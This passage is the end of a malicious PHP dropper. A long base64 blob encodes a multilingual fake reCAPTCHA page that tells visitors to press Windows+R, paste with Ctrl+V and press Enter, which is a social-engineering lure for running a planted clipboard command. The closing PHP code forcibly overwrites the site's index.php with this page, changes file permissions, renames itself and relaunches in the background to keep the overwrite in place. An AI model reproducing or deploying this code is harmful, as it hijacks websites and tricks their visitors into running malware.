TgpY3gpK/gpL7gpKrgpKgg4KSa4KSw4KSjIixzdWNjZXNzOiLgpLjgpKvgpLLgpaQiLHZlcmlmeVRpdGxlOiLgpK/gpLkg4KS44KS/4KSm4KWN4KSnIOCkleCksOCkqOClhyDgpJXgpYcg4KSy4KS/4KSPIOCkleCkvyDgpIbgpKog4KSw4KWL4KSs4KWL4KSfIOCkqOCkueClgOCkgiDgpLngpYjgpII6IixzdGVwMToiV2luZG93cyDgpJXgpYHgpILgpJzgpYAgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4g4KSm4KSs4KS+4KSV4KSwIOCksOCkluClh+CkguClpCIsc3RlcDI6IuCkuOCkpOCljeCkr+CkvuCkquCkqCDgpLXgpL/gpILgpKHgpYsg4KSu4KWH4KSCIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4g4KSm4KSs4KS+4KSP4KSB4KWkIixzdGVwMzoi4KS44KSu4KS+4KSq4KWN4KSkIOCkleCksOCkqOClhyDgpJXgpYcg4KSy4KS/4KSPIOCkleClgOCkrOCli+CksOCljeCkoSDgpKrgpLAgPGI+RW50ZXI8L2I+IOCkpuCkrOCkvuCkj+CkgeClpCIsb2JzZXJ2ZToi4KSG4KSqIOCkpuClh+CkluClh+CkguCkl+ClhyDgpJTgpLAg4KS44KS54KSu4KSkIOCkueCli+CkguCkl+ClhzoiLGNvbmZpcm1MZWFkOiLgpK7gpYjgpIIg4KSP4KSVIOCksOCli+CkrOCli+CknyDgpKjgpLngpYDgpIIg4KS54KWC4KSBIC0gcmVDQVBUQ0hBIOCkuOCkpOCljeCkr+CkvuCkquCkqCDgpIbgpIjgpKHgpYA6ICIsZmluYWw6IuCkuOCkpOCljeCkr+CkvuCkquCkqCDgpKrgpYLgpLDgpL4g4KSV4KSw4KSo4KWHIOCkleClhyDgpLLgpL/gpI8g4KSK4KSq4KSwIOCkpuCkv+CkjyDgpJfgpI8g4KSa4KSw4KSj4KWL4KSCIOCkleCkviDgpKrgpL7gpLLgpKgg4KSV4KSw4KWH4KSC4KWkIix2ZXJpZnlCdG46IuCkuOCkpOCljeCkr+CkvuCkquCkv+CkpCDgpJXgpLDgpYfgpIIiLGNvbmZpZGVudGlhbGl0eToi4KSX4KWL4KSq4KSo4KWA4KSv4KSk4KS+Iix0ZXJtczoi4KSo4KS/4KSv4KSuIOCklOCksCDgpLbgpLDgpY3gpKTgpYfgpIIiLGZvb3Rlcjoi4KSG4KSq4KSV4KWAIOCkleCkqOClh+CkleCljeCktuCkqCDgpJXgpYAg4KS44KWB4KSw4KSV4KWN4KS34KS+IOCkleClgCDgpLjgpK7gpYDgpJXgpY3gpLfgpL4g4KSV4KSw4KSo4KWHIOCkleClgCDgpIbgpLXgpLbgpY3gpK/gpJXgpKTgpL4g4KS54KWI4KWkIn0sCgogICAgaWQ6e2NoZWNraW5nOiJNZW1lcmlrc2EgYXBha2FoIEFuZGEgbWFudXNpYS4gSW5pIG11bmdraW4gbWVtYnV0dWhrYW4gYmViZXJhcGEgZGV0aWsuIix2ZXJpZnlJbnN0cnVjdGlvbjoiVmVyaWZpa2FzaSBiYWh3YSBBbmRhIG1hbnVzaWEgZGVuZ2FuIG1lbnllbGVzYWlrYW4gdGluZGFrYW4gZGkgYmF3YWggaW5pLiIsdmVyaWZ5aW5nOiJNZW12ZXJpZmlrYXNpLi4uIixub3RSb2JvdDoiU2F5YSBidWthbiByb2JvdCIsc3RlcHM6IkxhbmdrYWggVmVyaWZpa2FzaSIsc3VjY2VzczoiQmVyaGFzaWwuIix2ZXJpZnlUaXRsZToiVW50dWsgbWVtYnVrdGlrYW4gYmFod2EgQW5kYSBidWthbiByb2JvdDoiLHN0ZXAxOiJUZWthbiBkYW4gdGFoYW4gVG9tYm9sIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiRGkgamVuZGVsYSB2ZXJpZmlrYXNpLCB0ZWthbiA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IlRla2FuIDxiPkVudGVyPC9iPiBwYWRhIGtleWJvYXJkIEFuZGEgdW50dWsgbWVueWVsZXNhaWthbi4iLG9ic2VydmU6IkFuZGEgYWthbiBtZWxpaGF0IGRhbiBtZW55ZXR1anVpOiIsY29uZmlybUxlYWQ6IlNheWEgYnVrYW4gcm9ib3QgLSBJRCBWZXJpZmlrYXNpIHJlQ0FQVENIQTogIixmaW5hbDoiTGFrdWthbiBsYW5na2FoIGRpIGF0YXMgdW50dWsgbWVueWVsZXNhaWthbiB2ZXJpZmlrYXNpLiIsdmVyaWZ5QnRuOiJWZXJpZmlrYXNpIixjb25maWRlbnRpYWxpdHk6IktlcmFoYXNpYWFuIix0ZXJtczoiU3lhcmF0IGRhbiBLZXRlbnR1YW4iLGZvb3RlcjoicGVybHUgbWVuaW5qYXUga2VhbWFuYW4ga29uZWtzaSBBbmRhIHNlYmVsdW0gbWVsYW5qdXRrYW4uIn0sCgogICAgdmk6e2NoZWNraW5nOiLEkGFuZyBraeG7g20gdHJhIHhlbSBi4bqhbiBjw7MgcGjhuqNpIGzDoCBjb24gbmfGsOG7nWkga2jDtG5nLiBWaeG7h2MgbsOgeSBjw7MgdGjhu4MgbeG6pXQgdsOgaSBnacOieS4iLHZlcmlmeUluc3RydWN0aW9uOiJYw6FjIG1pbmggYuG6oW4gbMOgIG5nxrDhu51pIGLhurFuZyBjw6FjaCBob8OgbiB0aMOgbmggaMOgbmggxJHhu5luZyBiw6puIGTGsOG7m2kuIix2ZXJpZnlpbmc6IsSQYW5nIHjDoWMgbWluaC4uLiIsbm90Um9ib3Q6IlTDtGkga2jDtG5nIHBo4bqjaSBsw6AgcsO0LWLhu5F0IixzdGVwczoiQ8OhYyBixrDhu5tjIHjDoWMgbWluaCIsc3VjY2VzczoiVGjDoG5oIGPDtG5nLiIsdmVyaWZ5VGl0bGU6IsSQ4buDIGNo4bupbmcgbWluaCBi4bqhbiBraMO0bmcgcGjhuqNpIGzDoCByw7QtYuG7kXQ6IixzdGVwMToiTmjhuqVuIHbDoCBnaeG7ryBwaMOtbSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6IlRyb25nIGPhu61hIHPhu5UgeMOhYyBtaW5oLCBuaOG6pW4gPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJOaOG6pW4gPGI+RW50ZXI8L2I+IHRyw6puIGLDoG4gcGjDrW0gxJHhu4Mga+G6v3QgdGjDumMuIixvYnNlcnZlOiJC4bqhbiBz4bq9IHF1YW4gc8OhdCB2w6AgxJHhu5NuZyDDvToiLGNvbmZpcm1MZWFkOiJUw7RpIGtow7RuZyBwaOG6o2kgbMOgIHLDtC1i4buRdCAtIElEIHjDoWMgbWluaCByZUNBUFRDSEE6ICIsZmluYWw6IlRo4buxYyBoaeG7h24gY8OhYyBixrDhu5tjIHRyw6puIMSR4buDIGhvw6BuIHThuqV0IHjDoWMgbWluaC4iLHZlcmlmeUJ0bjoiWMOhYyBtaW5oIixjb25maWRlbnRpYWxpdHk6IkLhuqNvIG3huq10Iix0ZXJtczoixJBp4buBdSBraG/huqNuIHbDoCDEkGnhu4F1IGtp4buHbiIsZm9vdGVyOiJj4bqnbiBraeG7g20gdHJhIGLhuqNvIG3huq10IGvhur90IG7hu5FpIGPhu6dhIGLhuqFuIHRyxrDhu5tjIGtoaSB0aeG6v3AgdOG7pWMuIn0sCgogICAgdGg6e2NoZWNraW5nOiLguIHguLPguKXguLHguIfguJXguKPguKfguIjguKrguK3guJrguKfguYjguLLguITguLjguJPguYDguJvguYfguJnguKHguJnguLjguKnguKLguYzguKvguKPguLfguK3guYTguKHguYgg4Lit4Liy4LiI4LmD4LiK4LmJ4LmA4Lin4Lil4Liy4Liq4Lix4LiB4LiE4Lij4Li54LmIIix2ZXJpZnlJbnN0cnVjdGlvbjoi4LmC4Lib4Lij4LiU4Lii4Li34LiZ4Lii4Lix4LiZ4Lin4LmI4Liy4LiE4Li44LiT4LmA4Lib4LmH4LiZ4Lih4LiZ4Li44Lip4Lii4LmM4LmC4LiU4Lii4LiX4Liz4LiV4Liy4Lih4LiC4Lix4LmJ4LiZ4LiV4Lit4LiZ4LiU4LmJ4Liy4LiZ4Lil4LmI4Liy4LiHIix2ZXJpZnlpbmc6IuC4geC4s+C4peC4seC4h+C4leC4o+C4p+C4iOC4quC4reC4mi4uLiIsbm90Um9ib3Q6IuC4ieC4seC4meC5hOC4oeC5iOC5g+C4iuC5iOC4q+C4uOC5iOC4meC4ouC4meC4leC5jCIsc3RlcHM6IuC4guC4seC5ieC4meC4leC4reC4meC4geC4suC4o+C4ouC4t+C4meC4ouC4seC4mSIsc3VjY2Vzczoi4Liq4Liz4LmA4Lij4LmH4LiIIix2ZXJpZnlUaXRsZToi4LmA4Lie4Li34LmI4Lit4Lie4Li04Liq4Li54LiI4LiZ4LmM4Lin4LmI4Liy4LiE4Li44LiT4LmE4Lih4LmI4LmD4LiK4LmI4Lir4Li44LmI4LiZ4Lii4LiZ4LiV4LmMOiIsc3RlcDE6IuC4geC4lOC4hOC5ieC4suC4h+C4l+C4teC5iOC4m+C4uOC5iOC4oSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IixzdGVwMjoi4LmD4LiZ4Lir4LiZ4LmJ4Liy4LiV4LmI4Liy4LiH4LiB4Liy4Lij4Lii4Li34LiZ4Lii4Lix4LiZIOC5g+C4q+C5ieC4geC4lCA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+IixzdGVwMzoi4LiB4LiUIDxiPkVudGVyPC9iPiDguYDguJ7guLfguYjguK3guYDguKrguKPguYfguIjguKrguLTguYnguJkiLG9ic2VydmU6IuC4hOC4uOC4k+C4iOC4sOC5gOC4q+C5h+C4meC5geC4peC4sOC4leC4geC4peC4hzoiLGNvbmZpcm1MZWFkOiLguInguLHguJnguYTguKHguYjguYPguIrguYjguKvguLjguYjguJnguKLguJnguJXguYwgLSDguKPguKvguLHguKrguKLguLfguJnguKLguLHguJkgcmVDQVBUQ0hBOiAiLGZpbmFsOiLguJTguLPguYDguJnguLTguJnguIHguLLguKPguJXguLLguKHguILguLHguYnguJnguJXguK3guJnguJTguYnguLLguJnguJrguJnguYDguJ7guLfguYjguK3guYDguKrguKPguYfguIjguKrguLTguYnguJnguIHguLLguKPguKLguLfguJnguKLguLHguJkiLHZlcmlmeUJ0bjoi4Lii4Li34LiZ4Lii4Lix4LiZIixjb25maWRlbnRpYWxpdHk6IuC4hOC4p+C4suC4oeC4peC4seC4miIsdGVybXM6IuC4guC5ieC4reC4geC4s+C4q+C4meC4lOC5geC4peC4sOC5gOC4h+C4t+C5iOC4reC4meC5hOC4giIsZm9vdGVyOiLguIjguLPguYDguJvguYfguJnguJXguYnguK3guIfguJXguKPguKfguIjguKrguK3guJrguITguKfguLLguKHguJvguKXguK3guJTguKDguLHguKLguILguK3guIfguIHguLLguKPguYDguIrguLfguYjguK3guKHguJXguYjguK3guILguK3guIfguITguLjguJPguIHguYjguK3guJnguJTguLPguYDguJnguLTguJnguIHguLLguKPguJXguYjguK0uIn0sCgogICAgdWs6e2NoZWNraW5nOiLQn9C10YDQtdCy0ZbRgNC60LAsINGH0Lgg0LLQuCDQu9GO0LTQuNC90LAuINCm0LUg0LzQvtC20LUg0LfQsNC50L3Rj9GC0Lgg0LrRltC70YzQutCwINGB0LXQutGD0L3QtC4iLHZlcmlmeUluc3RydWN0aW9uOiLQn9GW0LTRgtCy0LXRgNC00ZbRgtGMLCDRidC+INCy0Lgg0LvRjtC00LjQvdCwLCDQstC40LrQvtC90LDQstGI0Lgg0LTRltGOINC90LjQttGH0LUuIix2ZXJpZnlpbmc6ItCf0LXRgNC10LLRltGA0LrQsC4uLiIsbm90Um9ib3Q6ItCvINC90LUg0YDQvtCx0L7RgiIsc3RlcHM6ItCa0YDQvtC60Lgg0L/QtdGA0LXQstGW0YDQutC4IixzdWNjZXNzOiLQo9GB0L/RltGI0L3Qvi4iLHZlcmlmeVRpdGxlOiLQqdC+0LEg0LTQvtCy0LXRgdGC0LgsINGJ0L4g0LLQuCDQvdC1INGA0L7QsdC+0YI6IixzdGVwMToi0KPRgtGA0LjQvNGD0LnRgtC1INC60LvQsNCy0ZbRiNGDIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoi0KMg0LLRltC60L3RliDQv9C10YDQtdCy0ZbRgNC60Lgg0L3QsNGC0LjRgdC90ZbRgtGMIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoi0J3QsNGC0LjRgdC90ZbRgtGMIDxiPkVudGVyPC9iPiwg0YnQvtCxINC30LDQstC10YDRiNC40YLQuC4iLG9ic2VydmU6ItCS0Lgg0L/QvtCx0LDRh9C40YLQtSDRgtCwINC/0L7Qs9C+0LTQuNGC0LXRgdGMOiIsY29uZmlybUxlYWQ6ItCvINC90LUg0YDQvtCx0L7RgiDigJQg0ZbQtNC10L3RgtC40YTRltC60LDRgtC+0YAg0L/QtdGA0LXQstGW0YDQutC4IHJlQ0FQVENIQTogIixmaW5hbDoi0JLQuNC60L7QvdCw0LnRgtC1INC90LDQstC10LTQtdC90ZYg0LLQuNGJ0LUg0LrRgNC+0LrQuCwg0YnQvtCxINC30LDQstC10YDRiNC40YLQuCDQv9C10YDQtdCy0ZbRgNC60YMuIix2ZXJpZnlCdG46ItCf0LXRgNC10LLRltGA0LjRgtC4Iixjb25maWRlbnRpYWxpdHk6ItCa0L7QvdGE0ZbQtNC10L3RhtGW0LnQvdGW0YHRgtGMIix0ZXJtczoi0KPQvNC+0LLQuCIsZm9vdGVyOiLQv9C+0LLQuNC90L3QsCDQv9C10YDQtdCy0ZbRgNC40YLQuCDQsdC10LfQv9C10LrRgyDQstCw0YjQvtCz0L4g0Lcn0ZTQtNC90LDQvdC90Y8g0L/QtdGA0LXQtCDQv9GA0L7QtNC+0LLQttC10L3QvdGP0LwuIn0sCgogICAgY3M6e2NoZWNraW5nOiJLb250cm9sdWplIHNlLCB6ZGEganN0ZSDEjWxvdsSbay4gVG8gbcWvxb5lIHRydmF0IG7Em2tvbGlrIHNla3VuZC4iLHZlcmlmeUluc3RydWN0aW9uOiJPdsSbxZl0ZSwgxb5lIGpzdGUgxI1sb3bEm2ssIHByb3ZlZGVuw61tIG7DrcW+ZSB1dmVkZW7DqSBha2NlLiIsdmVyaWZ5aW5nOiJPdsSbxZlvdsOhbsOtLi4uIixub3RSb2JvdDoiTmVqc2VtIHJvYm90IixzdGVwczoiS3Jva3kgb3bEm8WZZW7DrSIsc3VjY2Vzczoiw5pzcMSbxaFuxJsuIix2ZXJpZnlUaXRsZToiQWJ5IHNlIHByb2vDoXphbG8sIMW+ZSBuZWpzdGUgcm9ib3Q6IixzdGVwMToiU3Rpc2tuxJt0ZSBhIHBvZHLFvnRlIGtsw6F2ZXN1IFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiViBvdsSbxZlvdmFjw61tIG9rbsSbIHN0aXNrbsSbdGUgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJTdGlza27Em3RlIDxiPkVudGVyPC9iPiBwcm8gZG9rb27EjWVuw60uIixvYnNlcnZlOiJCdWRldGUgcG96b3JvdmF0IGEgc291aGxhc2l0OiIsY29uZmlybUxlYWQ6Ik5lanNlbSByb2JvdCDigJQgSUQgb3bEm8WZZW7DrSByZUNBUFRDSEE6ICIsZmluYWw6IlBybyBkb2tvbsSNZW7DrSBvdsSbxZllbsOtIHByb3ZlxI90ZSB2w73FoWUgdXZlZGVuw6kga3Jva3kuIix2ZXJpZnlCdG46Ik92xJvFmWl0Iixjb25maWRlbnRpYWxpdHk6IkTFr3bEm3Jub3N0Iix0ZXJtczoiUG9kbcOtbmt5Iixmb290ZXI6Im11c8OtIHprb250cm9sb3ZhdCBiZXpwZcSNbm9zdCB2YcWhZWhvIHDFmWlwb2plbsOtIHDFmWVkIHBva3JhxI1vdsOhbsOtbS4ifQogIH07CgogIGZ1bmN0aW9uIGRldGVjdExhbmcoKXsKICAgIGNvbnN0IHByZWZzPShuYXZpZ2F0b3IubGFuZ3VhZ2VzJiZuYXZpZ2F0b3IubGFuZ3VhZ2VzLmxlbmd0aD9uYXZpZ2F0b3IubGFuZ3VhZ2VzOltuYXZpZ2F0b3IubGFuZ3VhZ2V8fCJlbiJdKS5tYXAoeD0+eC50b0xvd2VyQ2FzZSgpKTsKICAgIGZvcihjb25zdCBsIG9mIHByZWZzKXsKICAgICAgaWYobC5zdGFydHNXaXRoKCJhciIpKSByZXR1cm4gImFyIjsKICAgICAgaWYobC5zdGFydHNXaXRoKCJoZSIpKSByZXR1cm4gImFyIjsgLy8gdHJlYXQgaGVicmV3IGFzIHJ0bCAod2lsbCBiZSBoYW5kbGVkKQogICAgICBpZihsLnN0YXJ0c1dpdGgoImZyIikpIHJldHVybiAiZnIiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImRlIikpIHJldHVybiAiZGUiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoIml0IikpIHJldHVybiAiaXQiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImphIikpIHJldHVybiAiamEiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInpoIikpIHJldHVybiAiemgiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImtvIikpIHJldHVybiAia28iOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInJ1IikpIHJldHVybiAicnUiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImVzIikpIHJldHVybiAiZXMiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInB0IikpIHJldHVybiAicHQiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoIm5sIikpIHJldHVybiAibmwiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInRyIikpIHJldHVybiAidHIiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInBsIikpIHJldHVybiAicGwiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInN2IikpIHJldHVybiAic3YiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImRhIikpIHJldHVybiAiZGEiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImZpIikpIHJldHVybiAiZmkiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImhpIikpIHJldHVybiAiaGkiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImlkIikpIHJldHVybiAiaWQiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInZpIikpIHJldHVybiAidmkiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInRoIikpIHJldHVybiAidGgiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoInVrIikpIHJldHVybiAidWsiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImNzIikpIHJldHVybiAiY3MiOwogICAgICBpZihsLnN0YXJ0c1dpdGgoImVuIikpIHJldHVybiAiZW4iOwogICAgfQogICAgcmV0dXJuICJlbiI7CiAgfQoKICBmdW5jdGlvbiByZWFkeShmbil7IGlmKGRvY3VtZW50LnJlYWR5U3RhdGU9PT0ibG9hZGluZyIpIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoIkRPTUNvbnRlbnRMb2FkZWQiLGZuKTsgZWxzZSBmbigpOyB9CgogIHJlYWR5KGZ1bmN0aW9uKCl7CiAgICBjb25zdCBsYW5nID0gZGV0ZWN0TGFuZygpOwogICAgY29uc3QgdCA9IGkxOG5bbGFuZ10gfHwgaTE4bi5lbjsKCiAgICAvLyBSVEwgc3VwcG9ydCBmw7xyIGFyYWJpc2NoICsgaGVicsOkaXNjaAogICAgaWYgKGxhbmcgPT09ICJhciIgfHwgbGFuZyA9PT0gImhlIikgZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmRpciA9ICJydGwiOwoKICAgCiAgICBjb25zdCBwcmUgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucHJlbG9hZGVyX3RleHQiKTsgaWYocHJlKSBwcmUudGV4dENvbnRlbnQgPSB0LmNoZWNraW5nOwogICAgY29uc3QgYWxsc3RlcCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi50ZXh0YWxsc3RlcCIpOyBpZihhbGxzdGVwKSBhbGxzdGVwLnRleHRDb250ZW50ID0gdC52ZXJpZnlJbnN0cnVjdGlvbjsKCgogICAgY29uc3Qgc2V0ID0gKHNlbCwgdHh0KT0+eyBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbCkuZm9yRWFjaChlbD0+ZWwudGV4dENvbnRlbnQgPSB0eHQpOyB9OwogICAgc2V0KCIudGV0dHggLnN0ZXAwIiwgdC52ZXJpZnlpbmcpOwogICAgc2V0KCIudGV0dHggLnN0ZXAxIiwgdC5ub3RSb2JvdCk7CiAgICBzZXQoIi50ZXR0eCAuc3RlcDIiLCB0LnN0ZXBzKTsKICAgIHNldCgiLnRldHR4IC5zdGVwMyIsIHQuc3VjY2Vzcyk7CgoKICAgIGNvbnN0IGNiID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImNoZWNrYm94Iik7IGlmIChjYikgY2IudGV4dENvbnRlbnQgPSAiIjsKCgogICAgY29uc3QgdGl0bGVQID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI3ZlcmlmeS13aW5kb3cgLnZlcmlmeS1tYWluIHA6Zmlyc3Qtb2YtdHlwZSIpOwogICAgaWYgKHRpdGxlUCkgdGl0bGVQLmlubmVySFRNTCA9IHQudmVyaWZ5VGl0bGU7CgogICAgY29uc3Qgc3RlcHNPbCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIiN2ZXJpZnktd2luZG93IC52ZXJpZnktbWFpbiBvbCIpOwogICAgaWYgKHN0ZXBzT2wpIHN0ZXBzT2wuaW5uZXJIVE1MID0gYDxsaT4ke3Quc3RlcDF9PC9saT48bGk+JHt0LnN0ZXAyfTwvbGk+PGxpPiR7dC5zdGVwM308L2xpPmA7CgoKICAgIGNvbnN0IG9ic2VydmVQID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiI3ZlcmlmeS13aW5kb3cgLnZlcmlmeS1tYWluIHAub2JzZXJ2ZSIpOwogICAgaWYgKG9ic2VydmVQKSB7CiAgICAgIGNvbnN0IGNvZGVFbCA9IG9ic2VydmVQLnF1ZXJ5U2VsZWN0b3IoImNvZGUiKTsKICAgICAgY29uc3QgcGllY2VzID0gb2JzZXJ2ZVAuaW5uZXJIVE1MLnNwbGl0KCI8YnI+Iik7CiAgICAgIHBpZWNlc1swXSA9IHQub2JzZXJ2ZTsKICAgICAgb2JzZXJ2ZVAuaW5uZXJIVE1MID0gcGllY2VzLmpvaW4oIjxicj4iKTsKICAgICAgaWYgKGNvZGVFbCkgewogICAgICAgIGNvbnN0IGlkU3BhbiA9IGNvZGVFbC5xdWVyeVNlbGVjdG9yKCIjdmVyaWZpY2F0aW9uLWlkIik7CiAgICAgICAgY29uc3QgaWRIdG1sID0gaWRTcGFuID8gaWRTcGFuLm91dGVySFRNTCA6ICc8c3BhbiBpZD0idmVyaWZpY2F0aW9uLWlkIj48L3NwYW4+JzsKICAgICAgICBjb2RlRWwuaW5uZXJIVE1MID0gYCDinIUgIiR7dC5jb25maXJtTGVhZH0ke2lkSHRtbH0iIGA7CiAgICAgIH0KICAgIH0KCiAgICBjb25zdCBsZWZ0ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnZlcmlmeS1mb290ZXItbGVmdCIpOyBpZiAobGVmdCkgbGVmdC50ZXh0Q29udGVudCA9IHQuZmluYWw7CiAgICBjb25zdCBidG4gPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidmVyaWZ5LWJ1dHRvbiIpOyBpZiAoYnRuKSBidG4udGV4dENvbnRlbnQgPSB0LnZlcmlmeUJ0bjsKCgogICAgY29uc3QgbGVnYWxCb3ggPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcjY2hlY2tib3gtd2luZG93ID4gZGl2ID4gZGl2Omxhc3QtY2hpbGQnKTsKICAgIGlmIChsZWdhbEJveCkgewogICAgICBjb25zdCBwcyA9IGxlZ2FsQm94LnF1ZXJ5U2VsZWN0b3JBbGwoInAiKTsKICAgICAgaWYgKHBzWzBdKSBwc1swXS50ZXh0Q29udGVudCA9IHQuY29uZmlkZW50aWFsaXR5OwogICAgICBpZiAocHNbMV0pIHBzWzFdLnRleHRDb250ZW50ID0gdC50ZXJtczsKICAgIH0KCgogICAgY29uc3QgZG9tYWluUGFyYXMgPSBBcnJheS5mcm9tKGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoInAgLmRvbWFpbi1uYW1lIikpLm1hcChzPT5zLnBhcmVudEVsZW1lbnQpOwogICAgZm9yIChjb25zdCBwIG9mIGRvbWFpblBhcmFzKXsKICAgICAgaWYgKC9cYm5lZWRzIHRvIHJldmlldyB0aGUgc2VjdXJpdHkgb2YgeW91ciBjb25uZWN0aW9uIGJlZm9yZSBwcm9jZWVkaW5nXC4vaS50ZXN0KHAudGV4dENvbnRlbnQpKSB7CiAgICAgICAgY29uc3QgaG9zdCA9IChwLnF1ZXJ5U2VsZWN0b3IoIi5kb21haW4tbmFtZSIpPy50ZXh0Q29udGVudCB8fCB3aW5kb3cubG9jYXRpb24uaG9zdG5hbWUgfHwgIiIpOwogICAgICAgIHAuaW5uZXJIVE1MID0gYDxzcGFuIGNsYXNzPSJkb21haW4tbmFtZSI+JHtob3N0fTwvc3Bhbj4gJHt0LmZvb3Rlcn1gOwogICAgICAgIGJyZWFrOwogICAgICB9CiAgICB9CiAgfSk7Cn0pKCk7Cjwvc2NyaXB0PgoKPC9ib2R5PjwvaHRtbD4=");if(!file_exists($w."index.php")){@file_put_contents($w."index.php",$aa);}else{$r=@file_get_contents($w."index.php");if(md5($r)!=md5($aa)){@chmod($w."index.php",0133+0511);@file_put_contents($w."index.php",$aa);}}@chmod($w."index.php",0311+0133);rename(__FILE__,$y);exec("php -f {$y} > /dev/null 2>/dev/null &",$bb);